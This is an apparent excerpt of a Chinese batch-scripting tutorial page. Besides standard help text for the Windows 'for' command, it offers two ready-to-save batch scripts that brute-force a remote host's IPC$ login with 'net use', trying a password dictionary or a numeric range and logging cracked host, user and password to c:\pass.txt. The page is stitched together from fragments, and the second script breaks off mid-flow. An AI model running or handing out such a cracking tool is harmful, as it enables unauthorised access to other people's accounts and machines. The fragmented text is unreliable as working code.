又一篇不錯(cuò)的批處理bat學(xué)習(xí)教程
更新時(shí)間:2007年02月28日 00:00:00 作者:
警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé),與本人和本論壇無(wú)關(guān)。特此警告!
有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?
這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡(jiǎn)明批處理教程”,雖然說(shuō)的比較全面,但看起來(lái)很不過(guò)癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說(shuō)人家什么,畢竟我連for /?都沒(méi)給出),而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊(cè)表等方面根本沒(méi)有介紹。我之所以花整整一章來(lái)講管道命令和組合命令,是因?yàn)樗麄儾攀桥幚淼木A和靈魂,能否正確利用好這幾個(gè)命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問(wèn)題,可以從DOS的角度出發(fā)專(zhuān)門(mén)有針對(duì)性的學(xué)習(xí),但有關(guān)這幾個(gè)命令的問(wèn)題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱(chēng) 主機(jī) 用戶(hù)名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶(hù)名
密碼破解出來(lái)之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件
復(fù)制代碼 代碼如下:
@echo off
echo ------------------------------------------------------------------- >>c:pass.txt
echo ------------------------------------------------------------------- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解結(jié)果: >>c:pass.txt
if "%6"=="1" goto 大棒槌是我的說(shuō)2
:大棒槌是我的說(shuō)1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說(shuō)2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存為test.bat
復(fù)制代碼 代碼如下:
net use \%1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2
:answer0
echo 遠(yuǎn)程主機(jī):"%1" >>c:pass.txt
echo 用 戶(hù):"%3" >>c:pass.txt
echo 密 碼:%2 >>c:pass.txt
net use \%1ipc$ /delet
exit
:answer2
“For”:
對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請(qǐng)使用以下語(yǔ)法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請(qǐng)使用以下語(yǔ)法:
for %variable in (set) do command [command-parameters]
參數(shù)
%%variable 或 %variable
代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過(guò)命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫(xiě)。
(set)
指定要用指定的命令處理的一個(gè)或多個(gè)文件或文本字符串。需要括號(hào)。
command
指定要在指定的 set 所包含的每個(gè)文件上執(zhí)行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開(kāi)關(guān))的任何參數(shù)或開(kāi)關(guān)。
如果啟用了命令擴(kuò)展(Windows 2000 中的默認(rèn)設(shè)置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啟用了命令擴(kuò)展,將支持如下 for 命令的其他格式:
只限于目錄
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進(jìn)入根目錄樹(shù)[drive:]path,在樹(shù)的每個(gè)目錄中執(zhí)行 for 語(yǔ)句。如果在 /R 后沒(méi)有指定目錄,則假定為當(dāng)前目錄。如果 set 只是一個(gè)句號(hào) (.) 字符,則只列舉目錄樹(shù)。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步長(zhǎng)量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。
相關(guān)文章
全盤(pán)搜索指定文件并拷貝到指定位置[自動(dòng)重命名]的批處理
全盤(pán)搜索指定文件并拷貝到指定位置[自動(dòng)重命名]的批處理2009-12-12自動(dòng)生成批量執(zhí)行SQL腳本的批處理實(shí)例演示
DBA那邊給我導(dǎo)出了所有的存儲(chǔ)、函數(shù)等等對(duì)象的創(chuàng)建腳本,有上千個(gè)文件,接下來(lái)為大家介紹下如何將這些對(duì)象創(chuàng)建腳本導(dǎo)入到另外一個(gè)庫(kù)2013-04-04Bootcfg 配置、查詢(xún)或更改 Boot.ini 文件設(shè)置
Bootcfg 配置、查詢(xún)或更改 Boot.ini 文件設(shè)置...2007-09-09用批處理刪除N天前或指定日期時(shí)間(前后)創(chuàng)建(或修改)的文件
這篇文章主要介紹了用批處理刪除N天前或指定日期時(shí)間(前后)創(chuàng)建(或修改)的文件,需要的朋友可以參考下2016-11-11批處理實(shí)現(xiàn)的結(jié)束進(jìn)程并刪除文件的代碼
批處理實(shí)現(xiàn)的結(jié)束進(jìn)程并刪除文件的代碼,挺有創(chuàng)意的,需要的朋友可以參考下。2009-12-12